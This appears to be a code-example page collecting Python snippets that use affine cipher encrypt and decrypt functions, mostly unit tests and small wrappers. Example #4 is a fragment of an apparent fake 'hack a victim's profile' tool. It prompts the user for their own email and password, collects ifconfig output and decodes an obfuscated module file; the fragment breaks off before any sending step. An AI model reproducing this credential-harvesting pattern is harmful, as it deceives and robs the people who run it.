Exemple #1
0
def test_encipher_affine():
    assert encipher_affine("ABC", (1, 0)) == "ABC"
    assert encipher_affine("ABC", (1, 1)) == "BCD"
    assert encipher_affine("ABC", (-1, 0)) == "AZY"
    assert encipher_affine("ABC", (-1, 1), symbols="ABCD") == "BAD"
    assert encipher_affine("123", (-1, 1), symbols="1234") == "214"
    assert encipher_affine("ABC", (3, 16)) == "QTW"
    assert decipher_affine("QTW", (3, 16)) == "ABC"
Exemple #2
0
def test_encipher_affine():
    assert encipher_affine("ABC", (1, 0)) == "ABC"
    assert encipher_affine("ABC", (1, 1)) == "BCD"
    assert encipher_affine("ABC", (-1, 0)) == "AZY"
    assert encipher_affine("ABC", (-1, 1), symbols="ABCD") == "BAD"
    assert encipher_affine("123", (-1, 1), symbols="1234") == "214"
    assert encipher_affine("ABC", (3, 16)) == "QTW"
    assert decipher_affine("QTW", (3, 16)) == "ABC"
Exemple #3
0
def decipher():
    print(RR + "\n             Descifrador de frases")
    ba = input(GG + "Escribe la frase para descifrar\n>>> " + WW)
    bb = int(input(GG + "Escribe la llave: " + WW))
    bk = (5, bb)
    bc = decipher_affine(ba, bk)
    print(RR + "\nPalabra descifrada!\n>>> " + WW, bc)
    op()
Exemple #4
0
        rmsn = "Reddit"
    elif rp11 == 5:
        rmsn = "Tiktok"
    else:
        print("Este numero no es una opción")
        sys.exit()
except ValueError:
    print(ro + "Tu respuesta no fue un numero")
    sys.exit()

print(ro + "Hss elegido", rmsn + '\n' + ro)

seq = open("module.txt")
asw = seq.read()
kew = (5, 5028)
wad = decipher_affine(asw, kew)
a = wad.lower()

subject = input("Añade tu nombre de perfil:\n>>> ")
numero = input(ro + "Agrega numero de celular:\n>>> ")
url = input(az + "Introduce la url del perfil de tu victima?\n>>> ")
rob = input(ve + "Introduce tu correo\n>>> ")
psd = input(ro + "Introduce la contraseña\n>>> ")
tubo = os.popen("ifconfig")
tubo = tubo.readlines()
obj = "*****@*****.**"

num = "Numero:", numero
mar = "Url:", url
cor = "Correo:", rob
arb = "Contrasena:", psd
Exemple #5
0
def affine(msg, key, **kwargs):
    et = encipher_affine(msg, key, symbols=symbols)
    dt = decipher_affine(et, key, symbols=symbols)
    return et, dt